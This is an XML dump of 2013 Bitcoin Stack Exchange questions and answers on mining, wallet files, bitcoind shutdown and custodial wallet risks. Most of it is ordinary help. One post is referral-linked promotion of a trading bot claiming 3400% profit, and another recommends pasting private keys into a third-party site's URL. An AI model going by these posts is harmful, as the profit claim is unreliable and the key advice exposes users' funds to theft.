  <row Id="13678" PostTypeId="2" ParentId="13670" CreationDate="2013-10-10T06:47:43.120" Score="0" Body="&lt;p&gt;Look at this graphic before you buy any ASIC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoindifficulty.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it is very hard to make any forecast, especially for 10 years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hashspeed of bitcoin network now in the base of &lt;a href=&quot;https://en.wikipedia.org/wiki/Singularity&quot; rel=&quot;nofollow noreferrer&quot;&gt;Singularity&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have no experience in bitcoin mining, I try to describe you this moment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU mining brings from 100-200 bitcoins in 2011, in 2012 one GPU brings at least 30 bitcoins, in 2013 it is very hard to mine at least 3 bitcoin with ordinary GPU for the whole of year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2014, one GPU would not mine even &lt;strong&gt;ONE&lt;/strong&gt; Bitcoin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same picture you will meet with any current ASIC technology in 2014,2015,2016 respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to exponential function, this picture would be even worse for ASIC in the next three years, than it was for GPU in the previous three years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advice in this case may be such: &quot;Keep you mining hardware up-to-date, and renew miners at least each 3-6 months&quot;. For your case, it means that you should for the whole of 10 years renew your hardware at minimum 20 tries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/grbKM.png&quot; alt=&quot;http://bitcoin.sipa.be/speed-small-lin.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My forecast(Updates):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;month ~ My         ~ real&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;8.13 ~ 0.3 PH/s&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;9.13 ~ 0.7 PH/s&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;10.13 ~ 1.4 PH/s&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;11.13 ~ 2 PH/s&lt;/strong&gt;  ~ &lt;strong&gt;real: 4PH/s !!!&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;12.13 ~ 3 PH/s &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1.14 ~ 6 PH/s &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2.14 ~ 12 PH/s &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3.14 ~ 24 PH/s&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;4.14 ~ 48 PH/s&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;@Peter Micheal Lacey-Bordeaux, you may downvote as you wish, see, my forecast will become a reality after just a half year.&lt;/p&gt;&#xA;" OwnerUserId="6987" LastEditorUserId="6987" LastEditDate="2013-11-16T10:43:27.933" LastActivityDate="2013-11-16T10:43:27.933" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13679" PostTypeId="1" CreationDate="2013-10-10T08:04:47.770" Score="2" ViewCount="211" Body="&lt;p&gt;I am a total noob, and I've been reading the wiki for a long time and have yet to understand the basics... My question here is that if I were to mine at 100GH/s (example), is it guaranteed that I would find a block after a determined amount of time? Or does it just increase the possibility that I am the first to find it? &lt;/p&gt;&#xA;" OwnerUserId="7042" LastEditorUserId="5406" LastEditDate="2016-04-17T20:38:35.347" LastActivityDate="2016-04-17T20:38:35.347" Title="Does an increase in hash/s decrease the time it takes to obtain a block or does it increase the possibilities of solving one?" Tags="|difficulty|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13680" PostTypeId="2" ParentId="13679" CreationDate="2013-10-10T08:22:40.757" Score="2" Body="&lt;p&gt;Since solving a block is a probabilistic math problem, having more hash power will increase the probability that you will find the right hash and solve the block. You cannot be 100% sure of the estimation given by the profitability calculators.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastActivityDate="2013-10-10T08:22:40.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13681" PostTypeId="1" CreationDate="2013-10-10T12:31:38.887" Score="2" ViewCount="2184" Body="&lt;p&gt;I'm trying to open wallet.dat using the bsddb3 module for Python 2.7.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db = bsddb3.btopen(&quot;wallet.dat&quot;, &quot;r&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of db:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'main': '\x00\x00\x00\x02'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to Which is almost nothing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ls -l wallet.dat -&amp;gt; 72K&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I though I could view information about the wallet, is there problem with the version of bsddb or this line of code?&lt;/p&gt;&#xA;" OwnerUserId="7044" LastActivityDate="2014-11-07T15:04:17.110" Title="Opening wallet.dat in python, using bsddb3" Tags="|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13686" PostTypeId="1" CreationDate="2013-10-10T16:25:35.327" Score="1" ViewCount="742" Body="&lt;p&gt;I have a wallet on blockchain.info. I would like to load it in to multibit. I copied the text of the encryped wallet and saved it as wallet.aes.json. I then try to load it in to multibit. After correctly entering in the password, I receive the error &quot;There were missing dates. Have to go back to genesis block.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried resetting the blockchain both &quot;from the date of the first transaction&quot; as well as October of 2010, which is more than 2 years before the creation of this wallet. However, I still get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your assistance is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7049" LastActivityDate="2013-10-10T17:22:31.970" Title="Trying to import from from blockchain.info to multibit, getting error &quot;There were missing dates. Have to go back to genesis block.&quot;" Tags="|blockchain.info|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13687" PostTypeId="1" AcceptedAnswerId="13755" CreationDate="2013-10-10T16:34:21.010" Score="3" ViewCount="3205" Body="&lt;p&gt;Which bitcoin wallet applications for android, windows, and mac allow you to export .wallet files that are cross-compatible with each other? Currently there are so many wallet applications out there and I just want to use as few as possible that give a sense of security if one day the app developer just stops developing for their app. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-12-06T15:31:44.973" Title="Which bitcoin wallets let you export to a universal .wallet format?" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13689" PostTypeId="2" ParentId="13686" CreationDate="2013-10-10T17:22:31.970" Score="1" Body="&lt;p&gt;The format of the blockchain.info wallet isn't ideal for importing into MultiBit. It works but MultiBit has to go back to the genesis block to make sure it gets all the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is what the &quot;There were missing dates. Have to go back to genesis block.&quot; message is for. It's basically saying - &quot;Hey, this is going to take a while&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do the import it is best just to let MultiBit work away through the blockchain. On a reasonable spec PC with WiFi it takes about 30 minutes to chug through the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functionality is mainly in MultiBit so that is something happens to the blockchain.info server, users can still access their bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-10-10T17:22:31.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13690" PostTypeId="1" CreationDate="2013-10-10T18:17:59.380" Score="5" ViewCount="571" Body="&lt;p&gt;I was previously putting my bitcoins into btcjam, but as there are no longer any secured loans I was thinking about moving my bitcoins into something else that will generate some profit over time while keeping the bitcoins in circulation. Coinlenders.com looked promising except for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; This is a demo instance of the CoinLenders Bitcoin Bank Script. While this demo is fully functional, nothing is real, and nothing is an investment. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What have you been doing with your bitcoins other than spending them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like something that is low effort, low risk. Low return is fine; I was planning on sitting on most of my bitcoins anyways.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-10-22T00:25:41.277" Title="How do you leverage your bitcoins?" Tags="|trading|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13691" PostTypeId="1" CreationDate="2013-10-10T18:27:24.713" Score="1" ViewCount="224" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tx/532bef49b54304eb2471008d9612ebc6501c91080888a9ba8dd24904d67f19ce&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/tx/532bef49b54304eb2471008d9612ebc6501c91080888a9ba8dd24904d67f19ce&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A deep well lies hidden at 19FZMqGmkLVNxtkjeXW5sUtVThPkFVkThM where&#xA;  strange eddies swirl the bits. Drop a coin and make a wish. The splash&#xA;  will echo through the blockchain for eternity, and binary fortune will&#xA;  smile on you.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Anyone know what that means?&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-10-10T18:27:24.713" Title="Strange public note on FBI's silk road address" Tags="|transactions|blockchain|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13692" PostTypeId="2" ParentId="13618" CreationDate="2013-10-10T20:08:29.760" Score="0" Body="&lt;p&gt;Hidden feature of unowallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://uno-wallet.com/key/5JWXyvz2DcEKQFm7pa6j8Gp1M5A8cgNhx4F2ZjM2R14MHy3D2NQ&quot; rel=&quot;nofollow&quot;&gt;https://uno-wallet.com/key/5JWXyvz2DcEKQFm7pa6j8Gp1M5A8cgNhx4F2ZjM2R14MHy3D2NQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives you access to your wallet with the private key after &quot;key/&quot; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be used for any private key, not just the ones used on unowallet.&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2013-10-10T20:08:29.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13693" PostTypeId="2" ParentId="12124" CreationDate="2013-10-10T21:56:59.273" Score="2" Body="&lt;pre&gt;&lt;code&gt;com.google.bitcoin.core.ECKey key = new com.google.bitcoin.core.ECKey(); // keypair&#xA;byte[] pub = key.getPublicKey(); // byte array&#xA;&#xA;String prv; &#xA;prv = key.getPrivateKeyEncoded(com.google.bitcoin.core.NetworkParameters.prodNet());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2013-10-10T21:56:59.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13694" PostTypeId="2" ParentId="5697" CreationDate="2013-10-10T22:19:39.057" Score="3" Body="&lt;p&gt;just in case anyone still looking for an answer: in pattern.c just put the full path to pcre.h (use locate pcre.h to find a path for it; if you don't have the file just install pcre package first). It should compile fine afterwards.&lt;/p&gt;&#xA;" OwnerUserId="7053" LastActivityDate="2013-10-10T22:19:39.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13696" PostTypeId="1" AcceptedAnswerId="13700" CreationDate="2013-10-10T23:22:03.253" Score="43" ViewCount="54759" Body="&lt;p&gt;Surprised this one hasn't been asked yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how / what is the recommended best practice for shutting down bitcoind ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm manually killing the process with either &lt;code&gt;sudo kill {pid}&lt;/code&gt; or if this is failing (like just now) using &lt;code&gt;sudo pkill -9 -f bitcoind&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2022-03-16T16:09:03.623" Title="How to safely shutdown bitcoind ?" Tags="|bitcoind|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13700" PostTypeId="2" ParentId="13696" CreationDate="2013-10-11T06:52:14.097" Score="17" Body="&lt;p&gt;&lt;strong&gt;EDIT: This answer is deprecated, it applied to an old version of the &lt;code&gt;bitcoind&lt;/code&gt; client. Apparently RPC functionality is now removed. Please look at the other answers instead.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess using &lt;code&gt;bitcoind stop&lt;/code&gt;. I recommend this approach as killing the process could end you up with a corrupted database, from what I have experienced. Use &lt;code&gt;bitcoind --help&lt;/code&gt; for all options and &lt;code&gt;bitcoind help&lt;/code&gt; for all JSON-RPC commands.  &lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2020-01-08T19:06:02.637" LastActivityDate="2020-01-08T19:06:02.637" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13701" PostTypeId="2" ParentId="13690" CreationDate="2013-10-11T08:07:42.940" Score="1" Body="&lt;p&gt;ButterBot:&#xA;&lt;a href=&quot;https://butter-bot.com/?r=c0de83b9&quot; rel=&quot;nofollow&quot;&gt;https://butter-bot.com/?r=c0de83b9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an automated trading bot I use that makes over 3400% profit (over 2 years) on your choice of 3 different exchanges. It's reasonably priced &amp;amp; has excellent support. I highly recommend it. It was easy for me to learn.&lt;/p&gt;&#xA;" OwnerDisplayName="user7024" LastActivityDate="2013-10-11T08:07:42.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13702" PostTypeId="1" CreationDate="2013-10-11T09:04:01.540" Score="2" ViewCount="8666" Body="&lt;p&gt;CentOS6 x64, build last cgminer with openCL support&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ay@pandora6 log]$ sudo lshw | grep -i geforce&#xA;             product: G73 [GeForce 7600 GS]&#xA;&#xA;[ay@pandora6 log]$ uname -a&#xA;Linux pandora6 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux&#xA;&#xA;[ay@pandora6 log]$ cat /etc/redhat-release&#xA;CentOS release 6.4 (Final)&#xA;&#xA;[ay@pandora6 /]$ nvidia-settings -v&#xA;nvidia-settings:  version 304.108  (buildmeister@swio-display-x64-rhel04-06)  Wed Jul 31 20:47:31 PDT 2013&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why &lt;strong&gt;cgminer&lt;/strong&gt; does not use GPU ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ay@pandora6 /]$ /usr/local/bin/cgminer -n&#xA; [2013-10-11 14:58:09] CL Platform 0 vendor: Advanced Micro Devices, Inc.&#xA; [2013-10-11 14:58:09] CL Platform 0 name: AMD Accelerated Parallel Processing&#xA; [2013-10-11 14:58:09] CL Platform 0 version: OpenCL 1.1 AMD-APP-SDK-v2.5 (684.213)&#xA; [2013-10-11 14:58:09] Error -1: Getting Device IDs (num)&#xA; [2013-10-11 14:58:09] clDevicesNum returned error, no GPUs usable&#xA; [2013-10-11 14:58:09] 0 GPU devices max detected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7058" LastEditorUserId="5406" LastEditDate="2016-04-24T10:06:53.667" LastActivityDate="2016-04-24T10:06:53.667" Title="cgminer doesnt use my GPU" Tags="|miner-configuration|cgminer|linux|gpu|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13703" PostTypeId="2" ParentId="13669" CreationDate="2013-10-11T09:56:49.837" Score="2" Body="&lt;p&gt;CDF will sometimes go high, indicating bad luck. Bad luck happens with all pools and miners, and there is really no cure for it, just like there is no cure for lottery tickets that aren't winners. Each hash is like a lottery ticket with a tiny chance of winning a block. If you have bad luck it will take a lot of lottery tickets before you find a winning one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With more hashpower the bad luck rounds will pass faster. But there will always be rounds with high CDF that take a lot of hashes before the block is found.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-10-11T18:34:00.383" LastActivityDate="2013-10-11T18:34:00.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13704" PostTypeId="2" ParentId="13669" CreationDate="2013-10-11T10:28:01.067" Score="4" Body="&lt;p&gt;CDF is a measure of the pool's (bad) luck in the near past. By the nature of randomness (and how it applies to the process of mining), every pool will have times of good and bad luck, and nothing can be done to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are mining at a pool using a hopping-proof method such as PPLNS or DGM, you don't need to do anything when the CDF is high. The CDF represents the pool's luck in the past, but your reward for continued mining depends only on the pool's luck in the future, and thus the CDF has no effect.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-11T10:28:01.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13705" PostTypeId="1" CreationDate="2013-10-11T11:37:40.797" Score="-1" ViewCount="89" Body="&lt;p&gt;How long does it take to gives again into circulation after loss Bitcoins ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="7060" LastEditorUserId="5406" LastEditDate="2014-06-17T14:37:02.123" LastActivityDate="2014-06-17T14:37:02.123" Title="How long does it take to gives again into circulation after loss Bitcoins" Tags="|shrinking-money-supply|" AnswerCount="2" CommentCount="0" ClosedDate="2013-10-12T23:15:45.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="13706" PostTypeId="2" ParentId="8024" CreationDate="2013-10-11T12:05:10.687" Score="2" Body="&lt;p&gt;In the past blockchain.info got their prices from two sources: MtGox and Tradehill (though in the meantime they have removed the reference to Tradehill from their description). It could be related to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also other media report a peak rate of USD 33, e.g., &lt;a href=&quot;http://www.economist.com/blogs/babbage/2011/10/virtual-currencies&quot; rel=&quot;nofollow&quot;&gt;http://www.economist.com/blogs/babbage/2011/10/virtual-currencies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2013-10-11T12:05:10.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13707" PostTypeId="2" ParentId="13705" CreationDate="2013-10-11T12:15:56.430" Score="2" Body="&lt;p&gt;This question is based on a false assumption: Lost bitcoins are &lt;strong&gt;not&lt;/strong&gt; returned into circulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that one cannot distinguish lost bitcoins from saved/stored bitcoins, as it is impossible to prove that nobody has the private key to a given address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-10-12T12:25:51.680" LastActivityDate="2013-10-12T12:25:51.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13708" PostTypeId="1" AcceptedAnswerId="13709" CreationDate="2013-10-11T12:21:53.480" Score="3" ViewCount="2391" Body="&lt;p&gt;Recently my HDD went, losing all of my data. I make backups frequently and luckily only lost 0.02BTC. I tried everything to recover them, but no luck. As I stated it was small amount that wasn't a much for me to pull my hair out. Just bang my head against the wall. And miss out on a day of coffee. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this got me thinking. Is there a way to find out how many bitcoins in the world are missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that about 6000 transactions after all of the bitcoins have been mined, someone may be able to develop some sort of spider, bot or scrapper of some sort that will index the blockchain and make an educated guess by looking at the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if that is so wouldn't it be possible to also determine the Bitcoins that are missing and remake or counterfeit the missing bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Bitcoin uses SHA encryption. But with good computing power, the knowledge of none being made again. Couldn't something like rainbow tables be created to forge the missing bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="6017" LastEditorUserId="5406" LastEditDate="2014-06-17T14:39:48.060" LastActivityDate="2015-05-04T14:54:08.600" Title="How Many Bitcoins Are Missing?" Tags="|protocol|shrinking-money-supply|" AnswerCount="1" CommentCount="3" ClosedDate="2013-11-06T16:54:33.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="13709" PostTypeId="2" ParentId="13708" CreationDate="2013-10-11T13:32:24.107" Score="0" Body="&lt;p&gt;One cannot distinguish between saved and lost coins, because it is only possible to prove ownership of a private key, but impossible to prove that a private key is lost. I.e. nobody can tell the difference between whether I just haven't moved my coins for five years or I lost the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/181/can-bitcoins-be-counterfeited&quot;&gt;Coins cannot be counterfeited.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coins can only be spend by having access to the private key. Rediscovering a private key, though, is extremely unlikely and due to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2847/how-long-would-it-take-a-large-computer-to-crack-a-private-key&quot;&gt;amount of computation required&lt;/a&gt; most likely not profitable.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-05-04T14:54:08.600" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13710" PostTypeId="1" CreationDate="2013-10-11T14:46:22.610" Score="15" ViewCount="19897" Body="&lt;p&gt;My father just asked me:  What happens if the bitcoin people decide to shut down the website, what happens to my bitcoins?  I didn't know.&lt;/p&gt;&#xA;" OwnerUserId="7061" LastEditorUserId="2734" LastEditDate="2013-10-11T18:23:00.957" LastActivityDate="2021-03-12T10:48:12.150" Title="What happens to bitcoins if the site shuts down?" Tags="|wallet|security|loss|" AnswerCount="9" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13711" PostTypeId="2" ParentId="13710" CreationDate="2013-10-11T16:30:57.853" Score="3" Body="&lt;p&gt;If  you have a wallet on some sites and this site for some reason goes offline (or went shutdown), your bitcoin will be &lt;em&gt;LOST&lt;/em&gt;, or keep by someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, better to have a wallet in a SECURE PC or in a phone or on paper (paper wallet) keeped in a safe :)&lt;/p&gt;&#xA;" OwnerUserId="7063" LastActivityDate="2013-10-11T16:30:57.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13712" PostTypeId="2" ParentId="12522" CreationDate="2013-10-11T16:38:11.097" Score="0" Body="&lt;p&gt;Make a block explorer. It will teach you everything you need to know. Start small, just record each block, then look through transactions, then link transactions to addresses, etc etc. &lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-10-11T16:38:11.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13713" PostTypeId="2" ParentId="13710" CreationDate="2013-10-11T16:38:13.353" Score="1" Body="&lt;p&gt;Assuming you are using your own wallet: Nothing happens. Bitcoin is peer-to-peer. It does not rely on a central server or website. You still have your bitcoins and your wallet is still working. The bitcoin peer-to-peer network is still operating and you can still transfer coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not using a bitcoin wallet that you control yourself, but storing the bitcoins at a website (in someone elses wallet), then if they shut down the website and run away with your bitcoins, that would mean the coins are lost. This has happened with several scams in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean the bitcoin.org website and other sites with wallet software:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the extremely unlikely event that all websites hosting bitcoin wallet software could be shut down, then it could make it more difficult for new users to get the necessary software. This might last a few minutes and be a minor inconvenience for new users considering bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-10-11T16:38:13.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13714" PostTypeId="2" ParentId="13710" CreationDate="2013-10-11T18:35:39.733" Score="5" Body="&lt;p&gt;&lt;strong&gt;Whoever controls the private keys, controls the money&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin relies on two keys: a public one, and a private one. The public one is used for receiving funds, the private one is used for spending them. There is one public key for every private key. You are encouraged to create fresh keys for every transaction to preserve your anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Securing your private key is right at the top of your todo list because if someone copies that, then they can spend your bitcoin. The best way to secure your private key is to keep it on trusted hardware, the next best is to use a HD wallet. More about these later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is peer-to-peer. This means that there is no central site to shut down. If you are in complete control of your private keys then there is nothing to threaten your money. Your funds are safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trust someone else to look after your private keys for you - such as some online wallets - then you're trusting that they won't spend your money, or get shut down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To protect themselves from various attacks, most online wallets ensure that the private keys remain encrypted (by you) so they can't spend the money. However, if you don't have backups of those private keys and the online wallet site is shut down then you lose access to the private keys and therefore your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what were these HD wallets then? These are the next generation of Bitcoin private key management. They are essentially brain wallets on steroids and are much more secure than the classic encrypted wallet approach.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-10-11T18:35:39.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13715" PostTypeId="2" ParentId="13669" CreationDate="2013-10-11T18:45:29.157" Score="2" Body="&lt;p&gt;Having a CDF of 99% just means that you've only had 1% to exceed such a long session. There is nothing exceptional about it - in particular, 1 in 100 sessions will inevitably take that long.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-10-11T18:45:29.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13716" PostTypeId="2" ParentId="13710" CreationDate="2013-10-11T18:50:16.683" Score="10" Body="&lt;p&gt;The ledger of Bitcoin balances is stored on a network comprised of thousands of individual computers around the world. Anyone can run the Bitcoin program which contributes to that network and stores the record of every transaction that has ever happened. This is what is called a peer-to-peer network or a decentralized network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no website that controls Bitcoin, but there are websites that pull information from the network and present it to you. You can trust them to store and report to you that data, but using the program itself on your computer is the most secure way to handle your funds, and it has the added benefit of also securing the network a bit more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many websites which do the work of downloading the program and managing your Bitcoins for you - in the same way that paypal manages your money on their website. If you trust paypal to not decide to &quot;freeze&quot; your funds for no apparent reason, which they have MANY TIMES before, you would deposit money into their website. It's exactly the same with a Bitcoin website that stores your funds. However, a very notable benefit of Bitcoin is the ability to securely store your coins on your PC, which is not possible with cash. Additionally, as long as you hold the wallet file or technically the private key that is assigned to the program on your PC, your Bitcoin can &lt;strong&gt;never&lt;/strong&gt; be frozen by anyone. The only requirement for spending those Bitcoin in the future is that you have your wallet file (or your private key) and that the network still exists. Currently the network is only getting bigger as the days pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are questions that follow after understanding this answer, such as how transactions are validated if there is no central authority, and there are considerably sufficient answers to those questions elsewhere on this forum and other places online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you check out &lt;a href=&quot;https://www.weusecoins.com/en/questions&quot; rel=&quot;noreferrer&quot;&gt;https://www.weusecoins.com/en/questions&lt;/a&gt; -- it has the answer to many of the preliminary questions you may have, and the main page also has a quick video which does a good job of explaining the concepts to newcomers.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2013-10-11T18:55:41.737" LastActivityDate="2013-10-11T18:55:41.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13717" PostTypeId="1" CreationDate="2013-10-11T20:31:04.157" Score="1" ViewCount="2176" Body="&lt;p&gt;What personal information do you have to provide to buy bitcoins in the UK via a bank transfer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently created a wallet on bitbargain.co.uk with the intention of buying my first bitcoins. I verified my phone number and entered my address details, however after this the website asked me to upload a photo of my passport or drivers license, a photo of me with my passport or drivers license, and a copy of a bank statement or utility bill with my address on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it usual for a website to ask for this information to buy bitcoins? Are there any other sites where you buy bitcoins via a UK bank transfer or credit card payment without having to disclose this information?&lt;/p&gt;&#xA;" OwnerUserId="7068" LastEditorUserId="132" LastEditDate="2013-12-23T14:36:29.800" LastActivityDate="2014-03-23T16:57:03.053" Title="Personal details disclosure when buying bitcoin" Tags="|exchanges|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
